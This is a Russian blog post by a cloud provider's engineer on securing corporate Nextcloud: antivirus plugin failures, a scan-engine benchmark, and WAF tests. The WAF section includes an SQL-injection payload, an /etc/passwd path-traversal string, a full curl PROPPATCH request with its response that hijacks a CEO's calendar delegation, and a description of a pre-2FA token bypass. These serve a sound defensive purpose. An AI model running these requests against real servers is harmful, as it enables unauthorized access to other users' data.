Безопасный open source? Чего не хватает корпоративному Nextcloud

Привет, Хабр! Меня зовут Рома Масягутов, в К2 Облаке я отвечаю за корпоративные инсталляции Nextcloud. Год назад мы рассказывали, как собрали из открытой платформы файлообменник, который заменяет OneDrive. Тогда речь шла про архитектуру, а сегодня поговорим про слой ИБ.

В Nextcloud есть LDAP-интеграции, антивирусные плагины, аудит, политики доступа и мониторинг. На уровне чек-листа все выглядит прилично: подключили AD, поставили антивирус через ICAP, настроили WAF, включили логирование — корпоративное хранилище защищено, а потом вы загружаете большой зараженный файл и выясняется, что антивирус его так и не увидел. Для open source это обычная ситуация. По-настоящему безопасным такое ПО становится только после того, как вы вложите массу усилий в пусконаладку. Именно это мы и делаем.

В этой статье я обрисую контуры безопасности корпоративного Nextcloud в нашем исполнении, расскажу две истории про некорректные дефолтные настройки и сравню работу ClamAV, Kaspersky Scan Engine и PT Sandbox на реальной инфраструктуре.

Что добавить к дефолтной инсталляции

В статье про переезд с OneDrive Александр уже описывал нашу архитектуру, поэтому повторяться не буду. Замечу только, что Nextcloud в корпоративном формате — сложная конструкция, в которой одновременно работают балансировщики, серверы приложений с самим Nextcloud, кластер MariaDB Galera для метаданных, Redis для сессий, S3-хранилище для файлов и Elasticsearch для логов. У нас вся эта схема растянута на три зоны доступности, каждая площадка зарезервирована, а пользовательские запросы идут через балансировщик. А когда сверху накладывается контур безопасности, все становится еще сложнее. 

Перед балансировщиком обычно ставят WAF и Anti-DDoS. Сам Nextcloud — типовое open source веб-приложение, в нем периодически находят уязвимости: SQL-инъекции, XSS, path traversal и так далее, так что фильтрация запросов точно не будет лишней. WAF мы подбираем под клиента и сценарий,  работаем с Wallarm, Qrator и не только. 

Когда мы сравнивали поведение Nextcloud с WAF и без него на одинаковых запросах, картина получилась поучительной. Типовые инъекции, path traversal и попытки сканирования отсекаются на периметре и до приложения не доходят, а вот логические уязвимости WAF пропускает. Валидный WebDAV-запрос для него ничем не отличается от легитимного, даже если внутри спрятан вредоносный код.

Anti-DDoS закрывает массовые набеги ботов; фильтрацию трафика на уровнях L3–L4 обеспечивает сторонний провайдер.

В защитный контур обычно подключается и остальной стек ИБ-сервисов нашего облака: сканирование инфраструктуры на уязвимости (VULS), СРК на уровне инфраструктуры, AntiDDos, доступный по кнопке из Облака, группы безопасности и ACL’s как виртуальные межсетевые экраны, IAM для контроля доступа, зеркалирование и CloudTrail для журнала действий.

Дальше идет слой интеграции с корпоративным AD. Нативный плагин LDAP в Nextcloud работает достаточно гибко: можно подключиться к контроллеру домена в нашем облаке, дотянуть связность до VPC заказчика или поднять VPN до его площадки. Аутентификация и группы подгружаются с его стороны. Заказчик добавляет сотрудника в группу «Бухгалтерия» в своем AD, права в Nextcloud у него появляются автоматически, и вот бухгалтер уже загружает документы в облако. А вот с антивирусом все интереснее. Здесь и наступает время офигительных историй.

«Файл должен быть загружен! Даже вредоносный»

Жизненный цикл файла в корпоративном облаке выглядит примерно так:

Однако на практике эта схема ломается то тут, то там.

Что произойдет, если антивирус не ответит

Антивирус может упасть, перезагрузиться или потерять сетевую связность прямо во время загрузки файла. Мы протестировали этот сценарий и выяснили, что в такой ситуации Nextcloud-плагин, обеспечивающий интеграцию с антивирусом, просто загружает файл в S3 без проверки. С точки зрения кода Nextcloud это не ошибка, а нормальное поведение. Разработчик в первую очередь заботился о доступности сервиса для пользователя, требования ИБ-комплаенса здесь отошли на второй план. Если антивирус отваливается, плагин просто исключает его из цепочки и продолжает работу. Для домашней инсталляции с парой пользователей это допустимо, для корпоративного хранилища — точно нет. 

Чтобы это исправить, раньше приходилось вручную править код плагина Antivirus for files. Затем появился параметр avBlockUnreachable (по умолчанию выключенный), но нужную строку ещё надо было найти. В актуальных версиях Nextcloud параметр доступен из веб-интерфейса, но, к сожалению, он работает только с ClamAV. Настраивать интеграцию с другими антивирусами по-прежнему приходится вручную.

И это не считая того, что каждое обновление Nextcloud нужно прогонять через тесты, ведь никогда не знаешь наверняка, как изменится поведение плагина.

Зараженный файл, который успешно загрузился

Еще одна «забавная» проблема обнаружилась, когда во время тестов мы успешно загрузили на сервер большой зараженный файл, хотя он гарантированно должен был быть заблокирован антивирусом.

Дело было вот в чем. Nextcloud загружает файлы по частям (чанкам) по 5–10 МБ, каждый отправляет отдельным PUT-запросом, а потом команда MOVE собирает их в один файл. Это сделано для производительности и устойчивости передачи файлов: если связь оборвется где-нибудь на 65-м проценте, нужно будет перекачать только последний чанк, а не все целиком. Мы столкнулись с багом, когда под проверку попадали только PUT запросы, тогда как MOVE исключался. Соответственно проверка по хешу собранного в итоге файла уже не выполнялась. 

Лечится это в два шага. Во-первых, и это главное, нужна последняя версия плагина, ведь в старой проверка собранного файла просто не работает. Во-вторых, параметры плагина нужно согласовать с балансировщиком. Для этого приходится изменять размер чанка и максимальную длину потока, который сканирует антивирус: 

occ config:app:set files max_chunk_size —value=»104857600″

occ config:app:set files_antivirus av_stream_max_length —value=»104857600″

И это только две истории. У каждого плагина и даже версии Nextcloud свои нюансы, поэтому приходится тестировать новые релизы на тестовом контуре, прежде чем раскатывать на инфраструктуре заказчиков. И это при том, что минорные патчи появляются практически постоянно, крупные обновления Nextcloud выходят почти три раза в год, и каждый год наступает EOL.

Сравниваем три антивирусных движка на практике

Как будто этого мало, есть еще задача выбора оптимального антивирусного движка. Под наши задачи подходило три варианта: ClamAV, Kaspersky Scan Engine и PT Sandbox. Со всеми тремя Nextcloud общается по одному и тому же протоколу ICAP, так что с точки зрения интеграции движки взаимозаменяемы, но дальше начинается специфика, и тут они расходятся сильно.

• ClamAV — сигнатурно-эвристический антивирус: бинарник, ICAP-эндпоинт, open source-база сигнатур. У базы есть задержка относительно вендорских и прямой доступ к ней заблокирован для российских IP-адресов с весны 2022 года, поэтому актуальную информацию приходится тянуть через зеркала. Из коробки в ClamAV нет ни веб-панели, ни внятного мониторинга, ни кластеризации. Мы сами собираем логи в ELK-стек, в основном для того, чтобы поддержка могла объяснить пользователю, почему его файл заблокирован. Кластер делаем из нескольких экземпляров бинарника, балансируя через nginx или HAProxy. Это свойство простого open source-движка: все, что выходит за рамки базового сканирования файлов, надо собирать сверху самостоятельно. Минимальные требования — 2 CPU, 4 ГБ RAM и 5 ГБ диска. 

• Kaspersky Scan Engine — продукт другого класса. Под капотом сигнатурный антивирус и пара проприетарных анализаторов на серверах вендора. Если у заказчика контур, в котором нельзя выпускать метаданные наружу, этот момент стоит учесть на этапе пилота.
  Решение легкое и заточено на одну задачу — сканировать загружаемые файлы. Из коробки идет веб-панель, нативная кластеризация (узлы добавляются указанием одной общей БД), интеграция с SIEM. Встроенного мониторинга нет. Минимальные требования по документации: 1 CPU и 1 ГБ RAM, но на нашей практике стабильнее инсталляции с 2 CPU и 8 ГБ RAM.

• PT Sandbox — комбайн, где помимо сигнатурного сканирования есть поведенческий анализ, проактивный анализ exe-шников с парсингом библиотек, веб-эвристика, защита почты и веб-приложений, анализ сетевого трафика как WAF-прослойка. Из коробки идет встроенный мониторинг от вендора, плюс возможность логировать разные события системы в отдельные файлы. Кластеризация тоже есть, но с нюансом: один основной узел и два резервных, virtual IP на Keepalived, и все они должны жить в одной подсети. Это накладывает ограничение на размещение этого решения в разных зонах доступности. Ресурсы растут вместе с целевой нагрузкой: 4 CPU и 16 ГБ RAM на 100 заданий в час, 6 CPU и 32 ГБ на 1000, 10–15 CPU и 32 ГБ на 5–10 тысяч, от 48 CPU и 64 ГБ на 100 тысяч в выше.

Чтобы дальнейшее сравнение было нагляднее, сведу ключевые отличия в одну таблицу:

Мы проводили тестирование антивирусов на стенде с одинаковым вычислительным профилем для всех трех решений: 4 vCPU, 16 ГБ RAM и дисковое пространство не менее 32 ГБ, чтобы сравнение отражало именно поведение антивирусных движков, а не разницу в выделенных ресурсах.

Проверки выполнялись в inline-сценарии во время загрузки файлов, то есть пользовательский upload завершался только после передачи файла в цепочку проверки. То есть тестировали не только антивирус, а всю цепочку «балансировщик → app-сервер → антивирус → S3». 

Для нагрузки использовались два набора файлов — по 30 МБ и 100 МБ. Файлы брали большие, заполненные псевдослучайными данными, и в каждый десятый или сотый зашивали EICAR-сигнатуру в произвольном месте файла. Загружали их сериями по 100 и 500 объектов, что позволило оценить поведение решений как на коротких пользовательских загрузках, так и на более длинных однотипных сериях. Загрузка выполнялась последовательно, без искусственного параллелизма, чтобы исключить влияние очередей на стороне клиента и проанализировать базовую стоимость проверки одного файла для каждого движка. Если даже в таком щадящем режиме решение начинает заметно грузить CPU или увеличивать время завершения upload-операции, то при реальной пользовательской конкуренции — синхронизации клиентов, пакетной загрузке папок и фоновых заданиях — этот эффект будет только усиливаться.

Цифры средней скорости при последовательной загрузке получились такие:

Главный практический вывод из результатов состоит в том, что антивирус в связке с Nextcloud нужно рассматривать как отдельный сервис в пайплайне загрузки файлов, для которого важны время ответа, поведение при отказе, удобство мониторинга, схема HA и понятная политика повторного рескана.

Важно понимать, что на итоговую скорость влияет много факторов: размер файлов, количество одновременно загружаемых файлов (помимо самого ожидания сканирования, на каждый объект создается отдельная сессия и накапливается I/O на диске. Это особенно заметно, когда на обработку приходят тысячи мелких файлов), профиль архивов и контейнеров с нестандартными расширениями. Архивы с глубокой вложенностью кратно увеличивают нагрузку на любом движке, а парольные архивы с настроенным перебором базовых паролей могут занимать большое время на один файл. Плюс ресурсы стенда и канал связи на стороне клиента. Так что по этим цифрам нельзя делать выводы о средней производительности антивирусов, но они дают почву для сравнения.

• ClamAV показывает ровно то, что ожидается от open source: работает со средней скоростью при умеренной нагрузке. 10.3 MB/s и 9.8 MB/s для файлов 30 МБ, а также 11.7 MB/s и 12.5 MB/s для файлов 100 МБ. Не самый быстрый и не самый медленный, но вполне рабочий антивирус. На большом потоке показывает ту же среднюю скорость, что и на малом, потому что архитектурно простой.

• Kaspersky Scan Engine продемонстрировал лучшую скорость загрузки во всех сценариях: при файлах 30 МБ средняя скорость составила 16.4 MB/s для 100 файлов и 15.5 MB/s для 500 файлов, а при файлах 100 МБ — 22.3 MB/s и 22.2 MB/s соответственно. Это означает, что антивирусная проверка в наименьшей степени влияет на пользовательскую загрузку файлов и дает меньшее время ожидания при последовательной передаче контента в Nextcloud. Для штатной задачи «провести сигнатурное сканирование загруженного файла» — это оптимальный движок.

• PT Sandbox без поведенческого анализа оказался самым медленным вариантом на этом стенде: 7.3 MB/s и 4.8 MB/s для файлов 30 МБ, а также 8.6 MB/s и 7.9 MB/s для файлов 100 МБ. Дополнительно во время тестирования наблюдалась высокая нагрузка на CPU, при которой load average находился в диапазоне 30–40, а в пике достигал 115/330, что прямо указывает на высокую ресурсоемкость решения даже без включения поведенческого анализа. У PT Sandbox под капотом микросервисная архитектура, через которую честно проходит каждый файл.

Если смотреть на результаты глазами администратора платформы, то разница в производительности — величина, определяющая допустимый профиль нагрузки. Для небольших инсталляций с ограниченным числом одновременных пользователей ClamAV может быть достаточным, но в сценариях массовой загрузки документов, обмена большими архивами, синхронизации пользовательских рабочих каталогов и миграций данных его отставание от Kaspersky становится заметным.

Kaspersky Scan Engine по итогам теста хорошо подходит для inline-сценария, когда антивирус не должен заметно ухудшать UX пользователей Nextcloud. Особенно это актуально для организаций, где файловый сервис используется не эпизодически, а как рабочая платформа повседневного обмена документами между командами, подрядчиками и автоматизированными системами.

PT Sandbox в протестированной конфигурации выглядит не как решение для «легкого» inline-сканирования в файловом облаке, а как тяжелый специализированный компонент, который требует осознанного выделения ресурсов и продуманной архитектуры. Если подобный движок ставится в цепочку пользовательской загрузки, то его влияние на latency становится операционно значимым: увеличивается время завершения upload-запроса, растет очередь задач на проверку, а запас по CPU быстро исчерпывается. Использовать PT только как сканер для Nextcloud — все равно, что стрелять из пушки по воробьям, но если движок глубже интегрировать в инфраструктуру компании и тонко настроить, он покроет все потребности, а не только защиту облака.

Как мы настраиваем политики

Сценарий такой. После развертывания антивирус включается в доверенном режиме: ничего не блокирует, только фиксирует подозрительные файлы. На графиках начинает вырисовываться профиль пользователей: файлы с какими расширениями они загружают, какие архивы встречаются чаще всего, как часто срабатывают эвристики, сколько ложнопозитивных срабатываний. По этим данным формируется строгая политика фильтрации. Что-то записываем в исключения: например, исходники и джаваскрипты команды разработчиков — если запустить глубокий эвристический анализ на каждом мелком скриптовом файле, нагрузка просто положит систему. Что-то наоборот отправляем на углубленный анализ — скажем, резервные копии почтовых серверов с кучей мелких файлов.

При этом мы в основном ориентируемся на две метрики: среднее время загрузки файла и его перцентиль. Главное, чтобы UX Nextcloud с включенным антивирусом ощутимо не проседал. Если время загрузки уехало в минуты — это либо аномалия пользователя, который грузит мегаархив, либо проблема где-то на уровне антивируса или конкретного файла.

Если использовать вендорское решение, у PT Sandbox это красиво визуализируется на веб-панели.  Там же можно открыть карантин, достать оттуда файл и что-то с ним сделать, например, разблокировать ложноположительное срабатывание. У Касперского веб-панель тоже есть, но встроенного мониторинга нет — графики и алерты придется собирать самостоятельно. На ClamAV дашборды придется собирать самостоятельно: логи в ELK, на их основе метрики и алерты. Функциональность та же, но сама она не появится. Это отдельная работа, про которую часто забывают.

Кому что ставить

Компаниям до 100 сотрудников и без жестких регуляторных требований мы обычно рекомендуем ClamAV в режиме демона через плагин Antivirus for Files на одной-двух нодах. Бесплатно и точно лучше, чем без антивируса. Сверху имеет смысл поставить OpenAppSec — open source-решение, которое встает перед Nextcloud и ловит базовые атаки (SQL-инъекции, XSS, path traversal). Для продакшена с тысячами пользователей я бы его не рекомендовал, но для сравнительно небольшой инсталляции вполне подходит.

Из этой логики есть важное исключение:  если у вас в компании немного человек, но критически важны строгие бизнес-процессы и сохранность каждого документа.  А это часто про консалтинговые, юридические и небольшие финансовые компании. Им лучше сразу смотреть на коммерческий движок, а не ждать роста штата.

От 1000 человек уже стоит переходить на коммерческое решение. Для штатной проверки файлов Касперский лучше: производительнее, проще настраивается, идет с веб-панелью и нативной кластеризацией из коробки. Сюда же подтянется интеграция с SIEM, если она у вас есть.

От 5000 человек коммерческий движок с кластеризацией становится must-have. Здесь имеет смысл смотреть на песочницу вроде PT Sandbox: за дополнительные ресурсы вы получаете поведенческий анализ, проактивный анализ exe и набор не-антивирусных функций вроде анализа почты. Это пригодится, если ИБ-департамент захочет интегрировать все в единый процесс.

Не антивирусом единым

С периметровой защитой похожая история. Рассмотрим в качестве примера два одинаковых стенда Nextcloud: один без сетевой защиты, а второй за OpenResty с ModSecurity. Через оба прогнали одни и те же запросы, от типовых сканерных нагрузок до свежих CVE.

С массовыми атаками результат предсказуемо хороший. SQL-инъекции в форму логина, попытки XSS, path traversal вида ../../../etc/passwd на стенде без WAF доходят до приложения и обрабатываются на уровне PHP, а на стенде с WAF возвращают 403. В условиях корпоративной инсталляции это сокращает шум в мониторинге.

Типичная атака: POST с payload admin’ OR ‘1’=’1:

Запрос не доходит до Nextcloud.

Со свежими уязвимостями всё интереснее. Возьмём CVE-2026-29059 в плагине Flow: встроенный Windmill, март 2026, CVSS 10.0. Эксплуатация идёт через прокси app_api с тройным URL-кодированием, чтобы обойти нормализацию пути внутри Flow. Дальше — чтение /etc/passwd и RCE в контейнере. 

На стенде без WAF запрос отрабатывает успешно, а на стенде с WAF — 403 на периметре, до приложения он не доходит.

Но есть уязвимости, против которых WAF бессилен. CVE-2026-45281, CVSS 8.1: через WebDAV можно назначить себя делегатом чужого календаря. Запрос валидный, PROPPATCH с корректным XML, никаких  инъекций, и WAF пропускает запрос.

Пример запроса:

curl -sS -w «\nHTTP: %{http_code}\n» \

 -u «attacker:<APP_PASSWORD>» \

 -X PROPPATCH \

 «http://localhost:8082/remote.php/dav/principals/users/ceo/calendar-proxy-write» \

 -H «Content-Type: application/xml; charset=utf-8» \

 —data-binary ‘<?xml version=»1.0″?>

<d:propertyupdate xmlns:d=»DAV:» xmlns:oc=»http://owncloud.org/ns«>

<d:set><d:prop>

 <oc:calendar-proxy-write-for>

   <d:href>principals/users/attacker</d:href>

 </oc:calendar-proxy-write-for>

</d:prop></d:set>

</d:propertyupdate>’

Ответ:
<?xml version=»1.0″?>

<d:multistatus xmlns:d=»DAV:» xmlns:s=»http://sabredav.org/ns» xmlns:cal=»urn:ietf:params:xml:ns:caldav» xmlns:cs=»http://calendarserver.org/ns» xmlns:card=»urn:ietf:params:xml:ns:carddav» xmlns:oc=»http://owncloud.org/ns» xmlns:nc=»http://nextcloud.org/ns»><d:response><d:href>/remote.php/dav/principals/users/ceo/calendar-proxy-write</d:href><d:propstat><d:prop><oc:calendar-proxy-write-for/></d:prop><d:status>HTTP/1.1 200 Я OK</d:status></d:propstat></d:response></d:multistatus>

HTTP: 207

Валидный DAV PROPPATCH проходит и успешно применяется (207 + 200 OK в multistatus

CVE-2026-45691, CVSS 5.9: после ввода пароля, но до подтверждения второго фактора Nextcloud выдаёт pre-2FA session token. Его можно использовать для авторизации: Bearer на /remote.php/dav/files/ и получить полный доступ к файлам без 2FA. Для WAF это обычная авторизованная сессия. Лечится и то и другое только обновлением Nextcloud до 32.0.9 или 33.0.3.

Таким образом WAF — рабочий слой защиты, и для корпоративной инсталляции его наличие обязательно. Он закрывает значительную часть свежих CVE до того, как будет установлено обновление, но он не отменяет процесса обновлений: половина критичных уязвимостей последних релизов закрывается только патчем, потому что эксплуатируется через валидный с точки зрения протокола трафик. 

Для небольших инсталляций нижняя планка — что-то вроде OpenAppSec перед Nextcloud. Для тысяч пользователей просто необходим полноценный WAF в связке с налаженным циклом обновлений.

Вывод

Главный вывод такой: безопасность Nextcloud держится на десятках регулярных мелких инженерных проверок. В этом и есть главная особенность open source в корпоративной эксплуатации. Формально у вас есть все: плагины, протоколы, настройки, интеграции, документация, исходники. Однако реальная безопасность появляется только после того, как кто-то превратил этот набор возможностей в воспроизводимый процесс: описал политики, собрал метрики, настроил алерты, прогнал сценарии на отказ и регулярно повторяет эти проверки.

Поэтому вопрос «какой антивирус поставить к Nextcloud» на самом деле вторичный. Более важный вопрос — кто будет отвечать за поддержание безопасности облака. Безопасный Nextcloud — это не «Nextcloud плюс антивирус». Это отдельная система продуктов поверх Nextcloud: с архитектурой, тестами, мониторингом, регламентами и людьми, которые регулярно проверяют, что система ведет себя безопасно не только в штатном режиме, но и когда что-то ломается. У нас на постоянке этим занимается выделенная команда экспертов.